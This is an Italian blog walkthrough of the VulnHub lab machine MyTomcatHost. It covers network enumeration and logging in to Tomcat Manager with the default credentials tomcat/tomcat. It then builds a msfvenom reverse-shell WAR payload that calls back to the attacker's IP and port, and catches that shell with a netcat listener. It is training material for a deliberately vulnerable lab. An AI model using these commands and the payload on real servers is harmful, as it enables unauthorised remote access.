HackingLab – MyTomcatHost

EnumerationARP-SCAN
NMAP
NIKTO
LEGION
ExploitingMSFVENOM Payload JAR
APPLICATION SERVER EXPLOITING
MSFVENOM Payload WAR
Privilege EscalationSHELL SCRIPTING

MyTomcatHost può essere scaricata all’indirizzo https://download.vulnhub.com/mytomcathost/My_Tomcat_Host.ova
E’ impostata per ricevere l’indirizzo tramite DHCP quindi è sufficiente impostare l’interfaccia di rete come “Scheda con bridge” per vederla dalla nostra Macchina Attaccante; per problemi con questa Macchina e Virtual Box è consigliabile montarla da VmWare Player.

Per iniziare ho eseguito arp-scan per scoprire l’IP della macchina che è risultato, nel mio caso, essere 192.168.188.63.

Ho quindi eseguito nmap con la sintassi sudo nmap -sV -sT -O -A -p- 192.168.188.63 per vedere quali servizi fossero attivi sulla Macchina Target.

Scoperta la porta 8080 con attivo l’application server Apache Tomcat, usiamo nikto per scoprire eventuali vulnerabilità con il comando nikto -host 192.168.188.63 -port 8080 scoprendo che la password di default di Tomcat non è stata cambiate ed è possibile accedere al path /manager/html con le credenziali username: tomcat, password: tomcat.
Default account found for ‘Tomcat Manager Application’ at /manager/html (ID ‘tomcat’, PW ‘tomcat’). Apache Tomcat

Accediamo quindi alla console di amministrazione di tomcat inserendo username e password appena scoperte.

Dalla console abbiamo la possibilità di uplodare un file .war a piacere ed eseguirlo.

Decidiamo di utilizzare msfvenom per generare un payload da eseguire attraverso Tomcat; per prima cosa vediamo quali sono i payload JAVA a nostra disposizione con il comando msfvenom –list payloads. Il payload che fa al nostro caso è java/jsp_shell_reverse_tcp che effettua una chiamata verso la nostra Macchina Attaccante aprendo una shell; di seguito tutti i payloads disponibili.

java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell
java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell
java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection
java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP
java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS
java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager
java/shell/bind_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Listen for a connection
java/shell/reverse_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Connect back stager
java/shell_reverse_tcp Connect back to attacker and spawn a command shell

Usiamo quindi msfvenom con il comando msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.188.53 LPORT=4455 -f war > exploit.war

Carichiamo il payload su Tomcat attraverso l’interfaccia di amministrazione

Apriamo una connessione sulla Macchina Attaccante sulla porta 4455 con il comando nc -lvp 4455 e ci mettiamo in ascolto; lanciamo da Tomcat l’exploit ottenendo una shell.

Leave a Reply

Your email address will not be published. Required fields are marked *